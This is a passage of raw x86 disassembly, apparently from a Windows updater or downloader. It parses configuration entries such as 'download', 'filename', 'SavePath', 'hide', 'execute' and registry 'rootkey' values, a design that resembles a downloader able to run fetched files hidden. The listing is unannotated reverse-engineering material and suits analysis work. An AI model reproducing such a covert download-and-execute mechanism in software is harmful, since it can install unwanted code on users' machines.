push 1
push ecx
mov ecx, esp
mov [ebp-0C8h], esp
push offset byte_439CB0
call sub_43178A
push ecx
mov byte ptr [ebp-4], 4
mov ecx, esp
mov [ebp-20h], esp
push offset aWrConfigversio ; "WR\\configversion"
call sub_43178A
lea ecx, [ebp-100h]
mov byte ptr [ebp-4], 1
call sub_42692B
push ecx
lea eax, [ebp-2140h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 5
call sub_43178A
lea ecx, [ebp-100h]
call sub_426DB8
lea ecx, [ebp-100h]
mov byte ptr [ebp-4], 1
call sub_426ABF
loc_423633: ; CODE XREF: sub_423489+E4j
push offset aPaid ; "paid"
lea ecx, [ebp-3Ch]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-14h], 0
mov byte ptr [ebp-4], 6
jnz short loc_423656
push 80004003h
call sub_431AB2
loc_423656: ; CODE XREF: sub_423489+1C1j
mov ecx, [ebp-14h]
lea eax, [ebp-94h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-94h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-3Ch]
mov byte ptr [ebp-4], 1
call sub_4241A6
test bl, bl
jz loc_423754
cmp dword ptr [ebp-14h], 0
jnz short loc_4236A4
push 80004003h
call sub_431AB2
loc_4236A4: ; CODE XREF: sub_423489+20Fj
mov ecx, [ebp-14h]
lea eax, [ebp-0C4h]
push eax
call sub_42444B
mov ecx, [eax]
mov byte ptr [ebp-4], 7
test ecx, ecx
jz short loc_4236C4
call sub_424244
jmp short loc_4236C6
; ---------------------------------------------------------------------------
loc_4236C4: ; CODE XREF: sub_423489+232j
xor eax, eax
loc_4236C6: ; CODE XREF: sub_423489+239j
push eax
lea eax, [ebp-2140h]
push edi
push eax
call dword_4331E4 ; sprintf
add esp, 0Ch
lea ecx, [ebp-0C4h]
mov byte ptr [ebp-4], 1
call sub_4241A6
push 80000000h
push 1
push ecx
mov ecx, esp
mov [ebp-20h], esp
push offset byte_439CB0
call sub_43178A
push ecx
mov byte ptr [ebp-4], 8
mov ecx, esp
mov [ebp-0C8h], esp
push offset aWrP ; "WR\\p"
call sub_43178A
lea ecx, [ebp-140h]
mov byte ptr [ebp-4], 1
call sub_42692B
push ecx
lea eax, [ebp-2140h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 9
call sub_43178A
lea ecx, [ebp-140h]
call sub_426DB8
lea ecx, [ebp-140h]
mov byte ptr [ebp-4], 1
call sub_426ABF
loc_423754: ; CODE XREF: sub_423489+205j
push offset aNextupdate ; "nextupdate"
lea ecx, [ebp-9Ch]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-14h], 0
mov byte ptr [ebp-4], 0Ah
jnz short loc_42377A
push 80004003h
call sub_431AB2
loc_42377A: ; CODE XREF: sub_423489+2E5j
mov ecx, [ebp-14h]
lea eax, [ebp-44h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-44h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-9Ch]
mov byte ptr [ebp-4], 1
call sub_4241A6
test bl, bl
jz loc_423865
cmp dword ptr [ebp-14h], 0
jnz short loc_4237C5
push 80004003h
call sub_431AB2
loc_4237C5: ; CODE XREF: sub_423489+330j
mov ecx, [ebp-14h]
lea eax, [ebp-4Ch]
push eax
call sub_42444B
mov ecx, [eax]
mov byte ptr [ebp-4], 0Bh
test ecx, ecx
jz short loc_4237E2
call sub_424244
jmp short loc_4237E4
; ---------------------------------------------------------------------------
loc_4237E2: ; CODE XREF: sub_423489+350j
xor eax, eax
loc_4237E4: ; CODE XREF: sub_423489+357j
push eax
lea eax, [ebp-2140h]
push edi
push eax
call dword_4331E4 ; sprintf
add esp, 0Ch
lea ecx, [ebp-4Ch]
mov byte ptr [ebp-4], 1
call sub_4241A6
lea eax, [ebp-2140h]
push eax
call dword_4331A0 ; atol
mov esi, eax
lea eax, [ebp-1Ch]
push eax
call dword_4331A4 ; time
pop ecx
add [ebp-1Ch], esi
pop ecx
push 80000000h
push 1
push 0
push ecx
mov ecx, esp
mov [ebp-20h], esp
push offset aWrNextupdate ; "WR\\nextupdate"
call sub_43178A
lea ecx, [ebp-120h]
call sub_426584
push dword ptr [ebp-1Ch]
lea ecx, [ebp-120h]
mov byte ptr [ebp-4], 0Ch
call sub_426843
lea ecx, [ebp-120h]
mov byte ptr [ebp-4], 1
call sub_4266D6
loc_423865: ; CODE XREF: sub_423489+326j
push offset aDownload ; "download"
lea ecx, [ebp-54h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-14h], 0
mov byte ptr [ebp-4], 0Dh
jnz short loc_423888
push 80004003h
call sub_431AB2
loc_423888: ; CODE XREF: sub_423489+3F3j
mov ecx, [ebp-14h]
lea eax, [ebp-0DCh]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-0DCh]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-54h]
mov byte ptr [ebp-4], 1
call sub_4241A6
test bl, bl
jz loc_4240FC
cmp dword ptr [ebp-14h], 0
jnz short loc_4238D6
push 80004003h
call sub_431AB2
loc_4238D6: ; CODE XREF: sub_423489+441j
mov ecx, [ebp-14h]
lea eax, [ebp-18h]
push eax
call sub_4243E7
mov eax, [ebp-24h]
mov ecx, [ebp+0Ch]
imul eax, 1400Ch
mov byte ptr [ebp-4], 0Eh
mov ebx, 80004003h
lea edi, [eax+ecx+0A000h]
loc_4238FE: ; CODE XREF: sub_423489+C5Dj
push 0
lea ecx, [ebp-18h]
call sub_4264DF
test al, al
jnz loc_4240EB
cmp dword ptr [ebp-18h], 0
jnz short loc_42391C
push ebx
call sub_431AB2
loc_42391C: ; CODE XREF: sub_423489+48Bj
mov ecx, [ebp-18h]
lea eax, [ebp-10h]
push eax
call sub_4243E7
mov byte ptr [ebp-4], 0Fh
loc_42392C: ; CODE XREF: sub_423489+BDEj
push 0
lea ecx, [ebp-10h]
call sub_4264DF
test al, al
jnz loc_42406C
cmp dword ptr [ebp-10h], 0
jnz short loc_42394A
push ebx
call sub_431AB2
loc_42394A: ; CODE XREF: sub_423489+4B9j
mov ecx, [ebp-10h]
lea eax, [ebp-0A4h]
push eax
call sub_42444B
mov ecx, [eax]
mov byte ptr [ebp-4], 10h
test ecx, ecx
jz short loc_42396A
call sub_424244
jmp short loc_42396C
; ---------------------------------------------------------------------------
loc_42396A: ; CODE XREF: sub_423489+4D8j
xor eax, eax
loc_42396C: ; CODE XREF: sub_423489+4DFj
push eax
lea eax, [ebp-2140h]
push offset aS ; "%s"
push eax
call dword_4331E4 ; sprintf
add esp, 0Ch
lea ecx, [ebp-0A4h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
push offset aRootkey ; "rootkey"
lea ecx, [ebp-0CCh]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 11h
jnz short loc_4239B3
push ebx
call sub_431AB2
loc_4239B3: ; CODE XREF: sub_423489+522j
mov ecx, [ebp-10h]
lea eax, [ebp-5Ch]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-5Ch]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-0CCh]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_4239FE
lea eax, [ebp-2140h]
push eax
lea eax, [edi-2000h]
push eax
call dword_4330CC ; lstrcpyA
loc_4239FE: ; CODE XREF: sub_423489+55Fj
push offset aKey ; "key"
lea ecx, [ebp-0ACh]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 12h
jnz short loc_423A24
push 80004003h
call sub_431AB2
loc_423A24: ; CODE XREF: sub_423489+58Fj
mov ecx, [ebp-10h]
lea eax, [ebp-64h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-64h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-0ACh]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423A69
lea eax, [ebp-2140h]
push eax
push edi
call dword_4330CC ; lstrcpyA
loc_423A69: ; CODE XREF: sub_423489+5D0j
push offset aKeyvalue ; "keyvalue"
lea ecx, [ebp-0D8h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 13h
jnz short loc_423A8F
push 80004003h
call sub_431AB2
loc_423A8F: ; CODE XREF: sub_423489+5FAj
mov ecx, [ebp-10h]
lea eax, [ebp-6Ch]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-6Ch]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-0D8h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423ADA
lea eax, [ebp-2140h]
push eax
lea eax, [edi+2000h]
push eax
call dword_4330CC ; lstrcpyA
loc_423ADA: ; CODE XREF: sub_423489+63Bj
push offset aRequiredfile ; "requiredfile"
lea ecx, [ebp-0B4h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 14h
jnz short loc_423B00
push 80004003h
call sub_431AB2
loc_423B00: ; CODE XREF: sub_423489+66Bj
mov ecx, [ebp-10h]
lea eax, [ebp-74h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-74h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-0B4h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423B4B
lea eax, [ebp-2140h]
push eax
lea eax, [edi+4000h]
push eax
call dword_4330CC ; lstrcpyA
loc_423B4B: ; CODE XREF: sub_423489+6ACj
push offset aFilename ; "filename"
lea ecx, [ebp-0D4h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 15h
jnz short loc_423B71
push 80004003h
call sub_431AB2
loc_423B71: ; CODE XREF: sub_423489+6DCj
mov ecx, [ebp-10h]
lea eax, [ebp-7Ch]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-7Ch]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-0D4h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423BBC
lea eax, [ebp-2140h]
push eax
lea eax, [edi-0A000h]
push eax
call dword_4330CC ; lstrcpyA
loc_423BBC: ; CODE XREF: sub_423489+71Dj
push offset aParameters ; "parameters"
lea ecx, [ebp-0BCh]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 16h
jnz short loc_423BE2
push 80004003h
call sub_431AB2
loc_423BE2: ; CODE XREF: sub_423489+74Dj
mov ecx, [ebp-10h]
lea eax, [ebp-30h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-30h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-0BCh]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423C2D
lea eax, [ebp-2140h]
push eax
lea eax, [edi-8000h]
push eax
call dword_4330CC ; lstrcpyA
loc_423C2D: ; CODE XREF: sub_423489+78Ej
push offset aSaveas ; "SaveAs"
lea ecx, [ebp-0E0h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 17h
jnz short loc_423C53
push 80004003h
call sub_431AB2
loc_423C53: ; CODE XREF: sub_423489+7BEj
mov ecx, [ebp-10h]
lea eax, [ebp-8Ch]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-8Ch]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-0E0h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423CA4
lea eax, [ebp-2140h]
push eax
lea eax, [edi-6000h]
push eax
call dword_4330CC ; lstrcpyA
loc_423CA4: ; CODE XREF: sub_423489+805j
push offset aSavepath ; "SavePath"
lea ecx, [ebp-38h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 18h
jnz short loc_423CC7
push 80004003h
call sub_431AB2
loc_423CC7: ; CODE XREF: sub_423489+832j
mov ecx, [ebp-10h]
lea eax, [ebp-34h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-34h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-38h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423D0F
lea eax, [ebp-2140h]
push eax
lea eax, [edi-4000h]
push eax
call dword_4330CC ; lstrcpyA
loc_423D0F: ; CODE XREF: sub_423489+870j
push offset aHide ; "hide"
lea ecx, [ebp-48h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 19h
jnz short loc_423D32
push 80004003h
call sub_431AB2
loc_423D32: ; CODE XREF: sub_423489+89Dj
mov ecx, [ebp-10h]
lea eax, [ebp-40h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-40h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-48h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423D7F
cmp byte ptr [ebp-2140h], 30h
jnz short loc_423D78
and byte ptr [edi+0A001h], 0
jmp short loc_423D7F
; ---------------------------------------------------------------------------
loc_423D78: ; CODE XREF: sub_423489+8E4j
mov byte ptr [edi+0A001h], 1
loc_423D7F: ; CODE XREF: sub_423489+8DBj
; sub_423489+8EDj
push offset aExecute ; "execute"
lea ecx, [ebp-58h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Ah
jnz short loc_423DA2
push 80004003h
call sub_431AB2
loc_423DA2: ; CODE XREF: sub_423489+90Dj
mov ecx, [ebp-10h]
lea eax, [ebp-50h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-50h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-58h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423DEF
cmp byte ptr [ebp-2140h], 30h
jnz short loc_423DE8
and byte ptr [edi+0A002h], 0
jmp short loc_423DEF
; ---------------------------------------------------------------------------
loc_423DE8: ; CODE XREF: sub_423489+954j
mov byte ptr [edi+0A002h], 1
loc_423DEF: ; CODE XREF: sub_423489+94Bj
; sub_423489+95Dj
push offset aWait ; "wait"
lea ecx, [ebp-68h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Bh
jnz short loc_423E12
push 80004003h
call sub_431AB2
loc_423E12: ; CODE XREF: sub_423489+97Dj
mov ecx, [ebp-10h]
lea eax, [ebp-60h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-60h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-68h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423E5F
cmp byte ptr [ebp-2140h], 30h
jnz short loc_423E58
and byte ptr [edi+0A004h], 0
jmp short loc_423E5F
; ---------------------------------------------------------------------------
loc_423E58: ; CODE XREF: sub_423489+9C4j
mov byte ptr [edi+0A004h], 1
loc_423E5F: ; CODE XREF: sub_423489+9BBj
; sub_423489+9CDj
push offset aNewupdater ; "newupdater"
lea ecx, [ebp-78h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Ch
jnz short loc_423E82
push 80004003h
call sub_431AB2
loc_423E82: ; CODE XREF: sub_423489+9EDj
mov ecx, [ebp-10h]
lea eax, [ebp-70h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-70h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-78h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423ECF
cmp byte ptr [ebp-2140h], 30h
jnz short loc_423EC8
and byte ptr [edi+0A000h], 0
jmp short loc_423ECF
; ---------------------------------------------------------------------------
loc_423EC8: ; CODE XREF: sub_423489+A34j
mov byte ptr [edi+0A000h], 1
loc_423ECF: ; CODE XREF: sub_423489+A2Bj
; sub_423489+A3Dj
push offset aVersion_0 ; "version"
lea ecx, [ebp-88h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Dh
jnz short loc_423EF5
push 80004003h
call sub_431AB2
loc_423EF5: ; CODE XREF: sub_423489+A60j
mov ecx, [ebp-10h]
lea eax, [ebp-80h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-80h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-88h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423F40
lea eax, [ebp-2140h]
push eax
lea eax, [edi+6000h]
push eax
call dword_4330CC ; lstrcpyA
loc_423F40: ; CODE XREF: sub_423489+AA1j
push offset aIdentifier ; "identifier"
lea ecx, [ebp-98h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Eh
jnz short loc_423F66
push 80004003h
call sub_431AB2
loc_423F66: ; CODE XREF: sub_423489+AD1j
mov ecx, [ebp-10h]
lea eax, [ebp-90h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-90h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-98h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_423FB7
lea eax, [ebp-2140h]
push eax
lea eax, [edi+8000h]
push eax
call dword_4330CC ; lstrcpyA
loc_423FB7: ; CODE XREF: sub_423489+B18j
push offset aCrc ; "crc"
lea ecx, [ebp-0A8h]
call sub_424152
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Fh
jnz short loc_423FDD
push 80004003h
call sub_431AB2
loc_423FDD: ; CODE XREF: sub_423489+B48j
mov ecx, [ebp-10h]
lea eax, [ebp-0A0h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-0A0h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-0A8h]
mov byte ptr [ebp-4], 0Fh
call sub_4241A6
test bl, bl
jz short loc_42402E
lea eax, [ebp-2140h]
push eax
call dword_4331A8 ; atoi
pop ecx
mov [edi+0A008h], eax
loc_42402E: ; CODE XREF: sub_423489+B8Fj
cmp dword ptr [ebp-10h], 0
jnz short loc_42403E
push 80004003h
call sub_431AB2
loc_42403E: ; CODE XREF: sub_423489+BA9j
mov ecx, [ebp-10h]
lea eax, [ebp-0B0h]
push eax
call sub_424419
push dword ptr [eax]
lea ecx, [ebp-10h]
call sub_4264A7
lea ecx, [ebp-0B0h]
call sub_4264D2
mov ebx, 80004003h
jmp loc_42392C
; ---------------------------------------------------------------------------
loc_42406C: ; CODE XREF: sub_423489+4AFj
lea esi, [edi-4000h]
push 0Ah
push offset aWindows ; "windows"
push esi
call dword_4331AC ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_4240A1
mov eax, [ebp-28h]
push dword ptr [eax+1Ch]
push esi
call sub_4318B8 ; strcpy
push offset dword_437130
push esi
call sub_4318D0 ; strcat
add esp, 10h
loc_4240A1: ; CODE XREF: sub_423489+BFCj
inc dword ptr [ebp-24h]
lea ecx, [ebp-10h]
add edi, 1400Ch
mov byte ptr [ebp-4], 0Eh
call sub_4264D2
cmp dword ptr [ebp-18h], 0
jnz short loc_4240C2
push ebx
call sub_431AB2
loc_4240C2: ; CODE XREF: sub_423489+C31j
mov ecx, [ebp-18h]
lea eax, [ebp-0B8h]
push eax
call sub_424419
push dword ptr [eax]
lea ecx, [ebp-18h]
call sub_4264A7
lea ecx, [ebp-0B8h]
call sub_4264D2
jmp loc_4238FE
; ---------------------------------------------------------------------------
loc_4240EB: ; CODE XREF: sub_423489+481j
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 1
call sub_4264D2
mov edi, offset aS ; "%s"
loc_4240FC: ; CODE XREF: sub_423489+437j
cmp dword ptr [ebp-14h], 0
jnz short loc_42410C
push 80004003h
call sub_431AB2
loc_42410C: ; CODE XREF: sub_423489+C77j
mov ecx, [ebp-14h]
lea eax, [ebp-2Ch]
push eax
call sub_424419
push dword ptr [eax]
lea ecx, [ebp-14h]
call sub_4264A7
lea ecx, [ebp-2Ch]
call sub_4264D2
xor ebx, ebx
jmp loc_4234FC
; ---------------------------------------------------------------------------
loc_424131: ; CODE XREF: sub_423489+7Ej
lea ecx, [ebp-14h]
call sub_4264D2
lea ecx, [ebp+8]
call sub_4264D2
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_423489 endp
; =============== S U B R O U T I N E =======================================
sub_424152 proc near ; CODE XREF: sub_423489+8Fp
; sub_423489+1B2p ...
mov eax, offset loc_432042
call sub_4318CA ; _EH_prolog
push ecx
push esi
mov esi, ecx
push 0Ch
call sub_431784
pop ecx
mov ecx, eax
mov [ebp-10h], ecx
and dword ptr [ebp-4], 0
test ecx, ecx
jz short loc_42417F
push dword ptr [ebp+8]
call sub_4241E4
jmp short loc_424181
; ---------------------------------------------------------------------------
loc_42417F: ; CODE XREF: sub_424152+21j
xor eax, eax
loc_424181: ; CODE XREF: sub_424152+2Bj
or dword ptr [ebp-4], 0FFFFFFFFh
mov [esi], eax
test eax, eax
jnz short loc_424195
push 8007000Eh
call sub_431AB2
loc_424195: ; CODE XREF: sub_424152+37j
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_424152 endp
; =============== S U B R O U T I N E =======================================
sub_4241A6 proc near ; CODE XREF: sub_423489+CEp
; sub_423489+DDp ...
push esi
mov esi, ecx
mov ecx, [esi]
test ecx, ecx
jz short loc_4241B7
call sub_424217
and dword ptr [esi], 0
loc_4241B7: ; CODE XREF: sub_4241A6+7j
pop esi
retn
sub_4241A6 endp
; =============== S U B R O U T I N E =======================================
sub_4241B9 proc near ; CODE XREF: sub_423489+BBp
; sub_423489+1DFp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, [ecx]
mov eax, [eax]
cmp ecx, eax
jnz short loc_4241C9
xor eax, eax
jmp short locret_4241E1
; ---------------------------------------------------------------------------
loc_4241C9: ; CODE XREF: sub_4241B9+Aj
test ecx, ecx
jnz short loc_4241D2
or eax, 0FFFFFFFFh
jmp short locret_4241E1
; ---------------------------------------------------------------------------
loc_4241D2: ; CODE XREF: sub_4241B9+12j
test eax, eax
jnz short loc_4241DB
push 1
pop eax
jmp short locret_4241E1
; ---------------------------------------------------------------------------
loc_4241DB: ; CODE XREF: sub_4241B9+1Bj
push eax
call sub_42426E
locret_4241E1: ; CODE XREF: sub_4241B9+Ej
; sub_4241B9+17j ...
retn 4
sub_4241B9 endp
; =============== S U B R O U T I N E =======================================
sub_4241E4 proc near ; CODE XREF: sub_424152+26p
; sub_429920+47p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
and dword ptr [esi+4], 0
mov dword ptr [esi+8], 1
call sub_431B5F
test eax, eax
mov [esi], eax
jnz short loc_424211
cmp [esp+4+arg_0], eax
jz short loc_424211
push 8007000Eh
call sub_431AB2
loc_424211: ; CODE XREF: sub_4241E4+1Bj
; sub_4241E4+21j
mov eax, esi
pop esi
retn 4
sub_4241E4 endp
; =============== S U B R O U T I N E =======================================
sub_424217 proc near ; CODE XREF: sub_4241A6+9p
push esi
mov esi, ecx
push edi
lea edi, [esi+8]
push edi
call dword_4330C4 ; InterlockedDecrement
test eax, eax
jnz short loc_42423F
test esi, esi
jz short loc_42423B
mov ecx, esi
call sub_4242EE
push esi
call sub_43177E
pop ecx
loc_42423B: ; CODE XREF: sub_424217+14j
xor eax, eax
jmp short loc_424241
; ---------------------------------------------------------------------------
loc_42423F: ; CODE XREF: sub_424217+10j
mov eax, [edi]
loc_424241: ; CODE XREF: sub_424217+26j
pop edi
pop esi
retn
sub_424217 endp
; =============== S U B R O U T I N E =======================================
sub_424244 proc near ; CODE XREF: sub_423489+113p
; sub_423489+234p ...
push esi
mov esi, ecx
cmp dword ptr [esi+4], 0
jnz short loc_424269
push dword ptr [esi]
call sub_431BD4
test eax, eax
mov [esi+4], eax
jnz short loc_424269
cmp [esi], eax
jz short loc_424269
push 8007000Eh
call sub_431AB2
loc_424269: ; CODE XREF: sub_424244+7j
; sub_424244+15j ...
mov eax, [esi+4]
pop esi
retn
sub_424244 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42426E proc near ; CODE XREF: sub_4241B9+23p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push esi
push edi
mov eax, [ebx]
test eax, eax
jnz short loc_424287
mov eax, [ebp+arg_0]
mov eax, [eax]
neg eax
sbb eax, eax
jmp short loc_4242E7
; ---------------------------------------------------------------------------
loc_424287: ; CODE XREF: sub_42426E+Cj
mov edi, [ebp+arg_0]
cmp dword ptr [edi], 0
jnz short loc_424294
push 1
pop eax
jmp short loc_4242E7
; ---------------------------------------------------------------------------
loc_424294: ; CODE XREF: sub_42426E+1Fj
mov esi, dword_433278
push eax
call esi
push dword ptr [edi]
mov [ebp+arg_0], eax
call esi
mov edx, [ebp+arg_0]
cmp edx, eax
jbe short loc_4242AD
mov edx, eax
loc_4242AD: ; CODE XREF: sub_42426E+3Bj
mov ecx, [ebx]
mov edi, [edi]
loc_4242B1: ; CODE XREF: sub_42426E+57j
mov esi, edx
dec edx
test esi, esi
jbe short loc_4242D3
mov bx, [edi]
mov si, [ecx]
inc edi
inc edi
inc ecx
inc ecx
cmp si, bx
jz short loc_4242B1
movzx edx, word ptr [edi-2]
movzx eax, word ptr [ecx-2]
sub eax, edx
jmp short loc_4242E7
; ---------------------------------------------------------------------------
loc_4242D3: ; CODE XREF: sub_42426E+48j
cmp [ebp+arg_0], eax
jnb short loc_4242DD
or eax, 0FFFFFFFFh
jmp short loc_4242E7
; ---------------------------------------------------------------------------
loc_4242DD: ; CODE XREF: sub_42426E+68j
xor ecx, ecx
cmp [ebp+arg_0], eax
setnz cl
mov eax, ecx
loc_4242E7: ; CODE XREF: sub_42426E+17j
; sub_42426E+24j ...
pop edi
pop esi
pop ebx
pop ebp
retn 4
sub_42426E endp
; =============== S U B R O U T I N E =======================================
sub_4242EE proc near ; CODE XREF: sub_424217+18p
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4242FE
push eax
call dword_433274
loc_4242FE: ; CODE XREF: sub_4242EE+7j
mov esi, [esi+4]
test esi, esi
jz short loc_42430C
push esi
call sub_43177E
pop ecx
loc_42430C: ; CODE XREF: sub_4242EE+15j
pop esi
retn
sub_4242EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42430E proc near ; CODE XREF: sub_423489+B3p
; sub_423489+1D7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, ecx
lea ecx, [ebp+var_4]
mov eax, [esi]
push ecx
push esi
call dword ptr [eax+1Ch]
test eax, eax
jge short loc_424333
push offset dword_437238
push esi
push eax
call sub_431AC0
loc_424333: ; CODE XREF: sub_42430E+17j
mov ecx, [ebp+arg_0]
push 0
push [ebp+var_4]
call sub_424348
mov eax, [ebp+arg_0]
pop esi
leave
retn 4
sub_42430E endp
; =============== S U B R O U T I N E =======================================
sub_424348 proc near ; CODE XREF: sub_42430E+2Dp
; sub_42444B+2Dp
mov eax, offset loc_432056
call sub_4318CA ; _EH_prolog
push ecx
push esi
mov esi, ecx
push 0Ch
call sub_431784
pop ecx
mov ecx, eax
mov [ebp-10h], ecx
and dword ptr [ebp-4], 0
test ecx, ecx
jz short loc_424378
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_42439F
jmp short loc_42437A
; ---------------------------------------------------------------------------
loc_424378: ; CODE XREF: sub_424348+21j
xor eax, eax
loc_42437A: ; CODE XREF: sub_424348+2Ej
or dword ptr [ebp-4], 0FFFFFFFFh
mov [esi], eax
test eax, eax
jnz short loc_42438E
push 8007000Eh
call sub_431AB2
loc_42438E: ; CODE XREF: sub_424348+3Aj
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 8
sub_424348 endp
; =============== S U B R O U T I N E =======================================
sub_42439F proc near ; CODE XREF: sub_424348+29p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
mov esi, ecx
push edi
mov edi, [esp+8+arg_0]
and dword ptr [esi+4], 0
cmp [esp+8+arg_4], 0
